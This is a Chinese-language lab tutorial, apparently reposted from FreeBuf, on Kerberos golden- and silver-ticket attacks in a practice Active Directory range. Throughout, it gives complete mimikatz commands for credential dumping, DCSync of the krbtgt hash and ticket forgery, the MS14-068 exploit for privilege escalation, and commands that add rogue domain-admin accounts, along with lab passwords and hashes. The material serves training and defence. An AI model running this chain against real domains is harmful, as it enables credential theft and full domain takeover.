技术分享丨基于赛宁网络靶场的内网渗透二:金银票据攻击 – 作者:XCTF2017

之前我们已经学习过Kerberos认证流程,这次分别从金票和银票来说说如何对其进行利用

黄金票据攻击原理

原理在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。特点:

不需要与AS进行交互,需要用户krbtgt的 NTLM Hash金票攻击具体操作介绍:

图片[1]-技术分享丨基于赛宁网络靶场的内网渗透二:金银票据攻击 – 作者:XCTF2017-安全小百科

这里就用我司的网络靶场上的域环境进行金票攻击的演示。

一、伪造凭据提升域内普通用户的权限

我们以一个本地administrator用户登录域内的一个主机中。

图片[2]-技术分享丨基于赛宁网络靶场的内网渗透二:金银票据攻击 – 作者:XCTF2017-安全小百科

通过命令: net config workstation,可以看到域名为:cyberpeace。图片[3]-技术分享丨基于赛宁网络靶场的内网渗透二:金银票据攻击 – 作者:XCTF2017-安全小百科

通过命令: nltest /dsgetdc:域名,可以看到域控主机名为:scene。

图片[4]-技术分享丨基于赛宁网络靶场的内网渗透二:金银票据攻击 – 作者:XCTF2017-安全小百科

现在尝试使用mimikatz读取用户和密码,上传mimikatz,并以管理员权限运行下方命令:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

我们打开生成的log.txt可以看到有一个域内用户为:devuser,且密码是:HOTdev123456。 图片[5]-技术分享丨基于赛宁网络靶场的内网渗透二:金银票据攻击 – 作者:XCTF2017-安全小百科

我们现在使用该用户登录到域内,whoami查看下当前用户为: devuser。 图片[6]-技术分享丨基于赛宁网络靶场的内网渗透二:金银票据攻击 – 作者:XCTF2017-安全小百科

执行:dir \scene.cyberpeace.com\c$,尝试列出域控目录,提醒权限不够:

图片[7]-技术分享丨基于赛宁网络靶场的内网渗透二:金银票据攻击 – 作者:XCTF2017-安全小百科

尝试利用MS14-068来将用户devuser的权限提升到域管权限,我们先检查下该主机是否有MS14-068漏洞,其补丁为 3011780,我们执行命令: systeminfo |find “3011780”,如果返回为空就说明没有打补丁,存在MS14-068漏洞。

图片[8]-技术分享丨基于赛宁网络靶场的内网渗透二:金银票据攻击 – 作者:XCTF2017-安全小百科

MS14-068漏洞利用方法: MS14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员sid -d 域控制器地址

目前我们已经知道域成员devuser和其密码,域控制器地址scene.cyberpeace.com,还需要知道的是devuser的SID值。

通过Whoami /all或者whoami /user,查看devuser用户的suid:

图片[9]-技术分享丨基于赛宁网络靶场的内网渗透二:金银票据攻击 – 作者:XCTF2017-安全小百科

然后上传mimikatz和MS14-068提权工具,先使用MS14-068伪造凭证

执行命令:

C:\MS14-068>MS14-068.exe -u [email protected] -p HOTdev123456 -s S-1-5-21-97341123-1865264218-933115267-1108 -d scene.cyberpeace.com

命令执行成功后会在当前目录下生成一个凭证。

再使用mimikatz清空之前缓存的凭证,导入伪造的凭证:mimikatz # kerberos::purge  //清空票据mimikatz # kerberos::ptc 凭证文件地址

图片[10]-技术分享丨基于赛宁网络靶场的内网渗透二:金银票据攻击 – 作者:XCTF2017-安全小百科

此刻再输入dir \\scene.cyberpeace.com\c$,发现访问成功,现在我们暂时拥有了域管的权限:

图片[11]-技术分享丨基于赛宁网络靶场的内网渗透二:金银票据攻击 – 作者:XCTF2017-安全小百科

添加一个域管用户aaa:

net user aaa Qwe123... /add /domainnet group "Domain Admins" aaa /add /domain

二、伪造金票伪造金票的所需条件:

1、域名称

2、krbtgt的SID值

3、域的KRBTGT账号的Hash

4、伪造任意用户名域的名称我们已经知道,需要的用户名也是任意伪造一个就行,下面我们的目的就是拿到krbtgt的NTLM Hash和SID。

登录到上面我们创建的域管用户aaa:

图片[12]-技术分享丨基于赛宁网络靶场的内网渗透二:金银票据攻击 – 作者:XCTF2017-安全小百科

使用mimikatz导出用户krbtgt的hash:

mimikatz(commandline) # privilege::debugmimikatz(commandline) # lsadump::dcsync /domain:cyberpeace.com /all /csvmimikatz(commandline) # lsadump::dcsync /domain:cyberpeace.com /user:krbtgt

或者保存到文件中:

mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:cyberpeace.com/all /csv " "lsadump::dcsync /domain:cyberpeace.com/user:krbtgt" "exit">log.txt

图片[13]-技术分享丨基于赛宁网络靶场的内网渗透二:金银票据攻击 – 作者:XCTF2017-安全小百科

再执行以下命令可以看到krbtgt用户的SID:

图片[14]-技术分享丨基于赛宁网络靶场的内网渗透二:金银票据攻击 – 作者:XCTF2017-安全小百科

现在我们已经得到伪造金票的所有信息,接下来就是利用mimikatz生成金票并保存:

mimikatz.exe “kerberos::golden /admin:system /domain:cyberpeace.com /sid:S-1-5-21-97341123-1865264218-933115267 /krbtgt:95972cdf7b8dde854e74c1871f6d80a0 /ticket:ticket.kirbi” exit/admin:伪造的用户名/domain:域名称/sid:SID值,注意是去掉最后的’-502’/krbtgt:krbtgt的HASH值/ticket:生成的票据名称    //不是写入内存中的命令!

命令执行成功后会在当前目录下生成一个.kirbi文件。

图片[15]-技术分享丨基于赛宁网络靶场的内网渗透二:金银票据攻击 – 作者:XCTF2017-安全小百科

金票的使用

我们重新登录到域内普通用户devuser,此时该用户的域管权限已经消失。

我们通过mimikatz中的kerberos::ptt功能将ticket.kirbi导入内存中,利用金票再将devuser用户的权限提升到域管权限。

mimikatz # kerberos::purge       mimikatz # kerberos::ptt ticket.kirbi

图片[16]-技术分享丨基于赛宁网络靶场的内网渗透二:金银票据攻击 – 作者:XCTF2017-安全小百科

此时尝试创建一个ccc的域管账号,命令执行成功:

图片[17]-技术分享丨基于赛宁网络靶场的内网渗透二:金银票据攻击 – 作者:XCTF2017-安全小百科

白银票据攻击原理

原理:如果说黄金票据是伪造的TGT,那么白银票据就是伪造的ST。在Kerberos认证的第三部,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。

特点:

1.不需要与KDC进行交互

2.需要server的NTLM hash

银票攻击具体操作介绍:

图片[18]-技术分享丨基于赛宁网络靶场的内网渗透二:金银票据攻击 – 作者:XCTF2017-安全小百科

这里还用我们靶场上已经搭好的域环境进行银票攻击的演示。

伪造凭据提升域内普通用户的权限

我们现在以一个本地administrator用户登录域内的一个主机中。

图片[19]-技术分享丨基于赛宁网络靶场的内网渗透二:金银票据攻击 – 作者:XCTF2017-安全小百科

通过命令:net config workstation,可以看到域名为:cyberpeace。

图片[20]-技术分享丨基于赛宁网络靶场的内网渗透二:金银票据攻击 – 作者:XCTF2017-安全小百科

通过命令:nltest /dsgetdc:域名,可以看到域控主机名为:scene。

图片[21]-技术分享丨基于赛宁网络靶场的内网渗透二:金银票据攻击 – 作者:XCTF2017-安全小百科

现在尝试使用mimikatz读取用户和密码,上传mimikatz,并以管理员权限运行下方命令:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

打开生成的log.txt可以看到有一个域内用户Hellen,且密码是Hellen1818。

图片[22]-技术分享丨基于赛宁网络靶场的内网渗透二:金银票据攻击 – 作者:XCTF2017-安全小百科

我们现在使用该用户登录到域内,whoami查看下当前用户为Hellen。

图片[23]-技术分享丨基于赛宁网络靶场的内网渗透二:金银票据攻击 – 作者:XCTF2017-安全小百科

执行:dir \\scene.cyberpeace.com\c$,提醒权限不够:

图片[24]-技术分享丨基于赛宁网络靶场的内网渗透二:金银票据攻击 – 作者:XCTF2017-安全小百科

同样先检查下是否有MS14-068漏洞,发现返回为空,下面同样利用MS14-068来提升Hellen的权限。

图片[25]-技术分享丨基于赛宁网络靶场的内网渗透二:金银票据攻击 – 作者:XCTF2017-安全小百科

上传mimikatz和MS14-068提权工具,whoami /all 查看Hellen的suid。

图片[26]-技术分享丨基于赛宁网络靶场的内网渗透二:金银票据攻击 – 作者:XCTF2017-安全小百科

使用MS14-068伪造票据:执行命令:

MS14-068.exe -u [email protected] -p Hellen1818 -s S-1-5-21-2718660907-658632824-2072795563-1117 -d scene.cyberpeace.com。 使用mimikatz清空之前缓存的凭证,导入伪造的凭证: mimikatz # kerberos::purge  //清空票据 mimikatz # kerberos::ptc 票据文件地址

图片[27]-技术分享丨基于赛宁网络靶场的内网渗透二:金银票据攻击 – 作者:XCTF2017-安全小百科

再输入dir \\scene.cyberpeace.com\c$,发现访问成功。

图片[28]-技术分享丨基于赛宁网络靶场的内网渗透二:金银票据攻击 – 作者:XCTF2017-安全小百科

添加域管用户bbb:

net user bbb Qwe1234/add /domain net group "Domain Admins" bbb /add /domain

伪造银票

登录上面创建的域管用户,以管理员权限去运行mimikatz,得到域管用户bbb的SID和NTLM Hash。

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

图片[29]-技术分享丨基于赛宁网络靶场的内网渗透二:金银票据攻击 – 作者:XCTF2017-安全小百科

将log.txt保存到本地,再重新登录到域内机器的本地账户administrator,使用mimikatz清空票据,再导入伪造的票据,具体伪造票据的命令为:

kerberos::golden /domain:cyberpeace.com /sid:S-1-5-21-2718660907-658632824-2072795563 /target:scene.cyberpeace.com /service:cifs /rc4:9a68826fdc2811f20d1f73a471ad7b9a /user:test /ptt 

使用方法: kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt

其中的用户名可以随便写

服务类型可以从以下内容中来进行选择,针对某一些服务来进行伪造。

图片[30]-技术分享丨基于赛宁网络靶场的内网渗透二:金银票据攻击 – 作者:XCTF2017-安全小百科图片[31]-技术分享丨基于赛宁网络靶场的内网渗透二:金银票据攻击 – 作者:XCTF2017-安全小百科

测试一下,成功执行dir \\scene.cyberpeace.com\c$ ,并且可以创建域管账号:

图片[32]-技术分享丨基于赛宁网络靶场的内网渗透二:金银票据攻击 – 作者:XCTF2017-安全小百科

至此金银票据的攻击原理和相关操作已经介绍完毕,下面稍微说下两者之间的不同之处。

金票和银票的区别获取的权限不同金票:伪造的TGT,可以获取任意Kerberos的访问权限银票:伪造的ST,只能访问指定的服务,如CIFS认证流程不同金票:同KDC交互,但不同AS交互银票:不同KDC交互,直接访问Server加密方式不同金票:由krbtgt NTLM Hash 加密银票:由服务账号 NTLM Hash 加密

来源:freebuf.com 2020-10-19 16:24:39 by: XCTF2017

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论